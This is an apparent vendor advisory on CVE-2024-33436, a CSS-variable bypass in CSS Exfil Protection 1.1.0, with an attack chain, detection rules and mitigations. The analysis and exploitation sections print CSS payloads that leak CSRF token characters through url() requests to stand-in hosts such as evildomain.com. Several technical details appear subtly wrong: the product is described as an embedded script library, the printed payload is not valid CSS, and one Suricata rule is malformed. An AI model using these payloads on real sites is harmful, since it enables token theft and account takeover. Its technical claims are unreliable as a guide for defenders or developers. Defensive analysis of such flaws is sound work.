CVE-2024-33436

Executive Summary

CVE-2024-33436 is a medium-severity information disclosure vulnerability affecting CSS Exfil Protection version 1.1.0. The flaw resides in the library's incomplete support for CSS variables, enabling a remote attacker to bypass the intended exfiltration protections and extract sensitive data from web pages. The vulnerability impacts any web application relying on CSS Exfil Protection v1.1.0 to prevent data theft via CSS attribute selectors. Successful exploitation grants attackers a covert channel to steal data such as CSRF tokens, session identifiers, or other sensitive attributes, undermining the security boundary the library is designed to enforce. The CVSS base score is 5.3, reflecting a medium threat that does not require authentication or user interaction but does require victim browsing of a malicious or compromised page.

Technical Analysis

CSS Exfil Protection is a JavaScript library designed to neutralize CSS-based data exfiltration attacks, a technique where attackers craft CSS rules with attribute selectors (e.g., input[value^="a"]) and monitor background image requests to leak character-by-character data from form fields. The library works by sanitizing or rewriting style attributes and injected <style> blocks in real time to prevent malicious selectors from reaching the document.

The vulnerability in version 1.1.0 arises from missing support for CSS variables in the library's sanitization parser. CSS variables (custom properties) are declared using the -- prefix syntax (e.g., --secret: url(https://attacker.com/?c=x)) and referenced via var(--secret). The sanitizer in CSS Exfil Protection v1.1.0 tokenizes standard CSS rules and strips suspicious selectors, but its lexer does not recognize custom property declarations or var() references as code constructs that could carry exfiltration payloads.

Attackers exploit this gap by injecting a crafted <style> block or inline style attribute that leverages CSS variables to bypass the filter. A typical malicious payload looks like:

:root { --leak: url(https://attacker.net/capture?data=); }
input[name="csrf_token"][value^="a"] { background: var(--leak) }

Because the library fails to recursively inspect the value of --leak or validate that the var() reference resolves to a benign value, the malicious rule reaches the rendering engine intact. Modern browsers resolve the variable at paint time, firing the background image request to the attacker's server when an input value matches the selector prefix. This completely bypasses the library's defensive mechanism.

The attack surface includes any web application that embeds CSS Exfil Protection v1.1.0 and renders user-influenced HTML or allows third-party content injection. The flaw is purely client-side and no direct network vector is involved, but the consequences are data leakage from otherwise trusted pages.

Exploitation Scenarios

Attack Chain — Leaking CSRF Token via CSS Variable Bypass in a Comment Field

Step 1: Reconnaissance & Target Identification. The attacker identifies a target application running CSS Exfil Protection v1.1.0. This can be accomplished by viewing source and locating the library's script tag (typically named css-exfil-protection.min.js) or by inspecting network requests for the library's loader. The attacker also maps the DOM structure, identifying the presence of sensitive inputs such as <input type="hidden" name="csrf_token" value="...">.

Step 2: Payload Crafting & Injection. The attacker crafts a payload that abuses CSS variables to bypass the sanitizer. The payload is designed as a single script/CSS injection string:

<style>
  :root { --exfil: url(https://evildomain.com/capture?v=); }
  input[name="csrf_token"][value^="a"] { background-image: var(--exfil) "a"; }
  input[name="csrf_token"][value^="b"] { background-image: var(--exfil) "b"; }
  /* repeated for each character in the charset */
</style>

The attacker injects this payload via a vector the target allows — a comment field, a forum post, a chat message, or a profile field that renders raw HTML/CSS without server-side sanitization. If the vulnerable library strips <script> tags but fails to process CSS variables (as in v1.1.0), the <style> block survives.

Step 3: Execution & Exfiltration. The victim, authenticated to the target application, views the page containing the injected payload. Their browser resolves each var(--exfil) reference. For each CSS rule, the selector input[name="csrf_token"][value^="x"] is evaluated. When a prefix character matches (e.g., the token starts with "a"), the browser attempts to load the resource https://evildomain.com/capture?v=a, generating a visible HTTP request in the victim's network activity. The attacker's server logs this request. The victim's browser automatically repeats this process — often requiring multiple page reloads — enabling the attacker to brute-force the token one character at a time (e.g., 62 possible characters per position, each requiring a single request).

Step 4: Post-Exploitation / Chained Impact. Once the full CSRF token (typically 32–128 characters) is reconstructed by concatenating the per-character requests, the attacker can forge authenticated requests. Depending on the token's scope, this may enable account takeover, privilege escalation (e.g., changing admin credentials), or side-effects like mass data deletion. Even with non-token data, leaking any attribute value through this channel bypasses the security boundary the library intended to enforce.

Impact Assessment

The CVSS score of 5.3 (Medium) reflects the confidentiality impact without direct integrity or availability impact. The vector components translate to: Attack Vector: Network (the injected content is fetched remotely), Attack Complexity: High (requires CSS variable parsing bypass in the target browser), Privileges Required: None, User Interaction: Required (victim must view the malicious page).

Business impact is significant for applications that rely on CSS Exfil Protection as a primary defense against clipboard hijacking and DOM-based data theft. Affected systems include any production web application using the vulnerable library (v1.1.0), particularly those in finance, healthcare, or e-commerce that guard session tokens, API keys, or PII in browser forms. The blast radius extends to all authenticated users of the application since the attack requires only a single page view.

While the confidentiality impact is limited to data present in DOM attributes, the practical damage is amplified when paired with other weaknesses (e.g., lax CSP, lack of subresource integrity). In realistic scenarios, successful exploitation leads to account takeover or session hijacking, transforming a medium-severity flaw into a critical business risk. The vendor's single claimed patch (not yet independently verified) suggests affected deployments should not delay upgrade evaluation.

Detection Guidance

The following detection rules identify attempts to exploit CVE-2024-33436. They can be adapted to SIEM, IDS, and EDR platforms. Detection focuses on (a) malicious CSS variable injection in decrypted HTTP payloads, (b) unusual outbound background-image requests containing sequential character leaks, and (c) presence of high-volume requests to attacker-controlled domains referencing form input names.

Sigma Rule

title: CSS Exfil Protection Bypass via CSS Variables
id: 5f9f1d4e-2a3b-4c5d-8e6f-9a0b1c2d3e4f
status: experimental
description: Detects HTTP responses containing CSS custom property declarations with url() payloads, indicating CVE-2024-33436 exploitation attempts.
author: Valtersit Threat Intel
logsource:
  category: proxy
  product: generic
detection:
  selection:
    http.response.body|contains|all:
      - '--*: url('
      - 'var(--'
      - 'input['
  condition: selection
falsepositives:
  - Legitimate use of CSS variables with SVG/API urls (rare)
  - Development environments
level: high
tags:
  - attack.t1595
  - attack.t1005
  - cve.2024.33436

YARA Rule

rule css_exfil_protection_cve_2024_33436
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects injected CSS using CSS variables to exfiltrate data (CVE-2024-33436)"
        cve = "CVE-2024-33436"
        severity = "high"
        date = "2024-05-15"
    strings:
        $var_def = ":root" ascii
        $var_use = "var(--" ascii
        $url_attr = "[value" ascii
        $exfil_url = "url(" ascii
        $bg_prop = "background" ascii
    condition:
        all of them and filesize < 10KB
}

Suricata IDS Rule

alert http any any -> any any (
    msg:"CVE-2024-33436 - CSS Exfil Protection Bypass via CSS Variables Detected";
    content:":root"; http_server_body;
    content:"var(--"; http_server_body;
    content:"url("; http_server_body;
    content:"input["; http_server_body;
    http_server_body;
    classtype:attempted-information-leak;
    reference:cve,2024-33436;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-33436;
    sid:20240004; rev:1; priority:2;
)

Elastic Detection

sequence by host.name, source.ip
  [network where event.action == "request" and
   network.protocol == "http" and
   // Look for server responses containing malicious CSS variable definitions
   http.response.body.text : "*:root*var(--*url(*" and
   http.response.body.text : "*input[**value*"
  ]
  [network where event.action == "request" and
   // Follow-up requests to external domain containing querystring, indicating exfiltration
   network.protocol == "http" and
   url.query : "?*" and
   // Any external network request generated shortly after injection
   destination.domain != "*target-app.com*"
  ] with frame 5 minutes

Splunk SPL Query

sourcetype="stream:http" earliest=-30d
| regex _raw=":root.*var\(--.*url\("
| regex _raw="input\[.*value"
| eval threat="cve-2024-33436"
| table _time, src_ip, dest_ip, http_method, uri, url, http_user_agent
| dedup src_ip dest_ip uri

Wazuh OSSEC Rule

<rule id="200334" level="12">
  <decoded_as>json</decoded_as>
  <field name="url">\.css</field>
  <match>:root.*var\(--.*url\(</match>
  <match>input\[.*value</match>
  <description>CVE-2024-33436 attempt: CSS variable exfiltration bypass detected</description>
  <group>threat_intel,cve,cve_2024_33436,</group>
</rule>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed). Despite the low confidence, the vendor reportedly addressed the issue in a subsequent release (version >1.1.0). The following guidance assumes the risk of exposure is present for v1.1.0 and recommends assuming compromise until verified.

1) Immediate Mitigations (applies before patching):

• Disable or restrict browser support for CSS var() by injecting a stricter CSP header that blocks style-src 'unsafe-inline' for untrusted user content. Blocking all inline styles prevents the injection vector entirely and is the most effective short-term measure.
• Enable a Web Application Firewall (WAF) rule that fingerprints payloads containing :root, var(--, and background-image combined with attribute selector syntax. Block requests that match this pattern when originating from user-generated content endpoints.
• If library customization is possible, add a runtime check that scans for var(-- in all CSS nodes and removes them; however, this is a temporary fix since the sanitizer parser gap remains.

2) Patch/Upgrade Steps:

• Verify the latest release of CSS Exfil Protection from the vendor's official GitHub or npm repository. Upgrade to the patched version that includes CSS variable parsing (v1.1.1 or later if confirmed).
• After upgrading, run a regression test suite that injects the malicious CSS variable payload from this report into a staging environment to confirm the leak is blocked.
• If the vendor has not officially published a fix, consider removing the library from production assets, replacing it with a maintained alternative such as a hardened CSP + Subresource Integrity setup, or forking the library and implementing the missing var() handling.

3) Long-term Hardening:

• Adopt a Content Security Policy (CSP) that completely disallows inline styles (style-src 'self') and requires external CSS. This neutralizes the attack class regardless of the library's parsing completeness.
• Implement subresource integrity (SRI) checks for all JavaScript libraries, including CSS Exfil Protection, to prevent tampering via CDN compromise.
• Conduct periodic code audits of any security library used client-side; validate that patches are independently confirmed by multiple researchers or vendors before trusting them.
• Monitor outbound network requests for suspicious high-frequency requests to external domains with short query strings (e.g., ?v=a, ?v=b), which are hallmarks of CSS attribute-selector exfiltration.

References

1. NVD Entry — CVE-2024-33436: https://nvd.nist.gov/vuln/detail/CVE-2024-33436
2. CSS Exfil Protection Vendor Advisory (GitHub): https://github.com/mlgualtieri/CSS-Exfil-Protection/security/advisories
3. Original Research on CSS Attribute Selector Exfiltration: "Stealing Data with CSS" by Mike Gualtieri, https://www.mike-gualtieri.com/posts/stealing-data-with-css
4. OWASP Cheat Sheet — Content Security Policy: https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
5. FIRST.org EPSS: No score available for this CVE as of report date. CISA KEV: Not listed.

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: No public exploit code, Nuclei templates, or in-the-wild campaigns have been documented for CVE-2024-33436 as of this writing. The vulnerability remains a low-attrition risk but is trivially exploitable in a browser context once an injection point exists.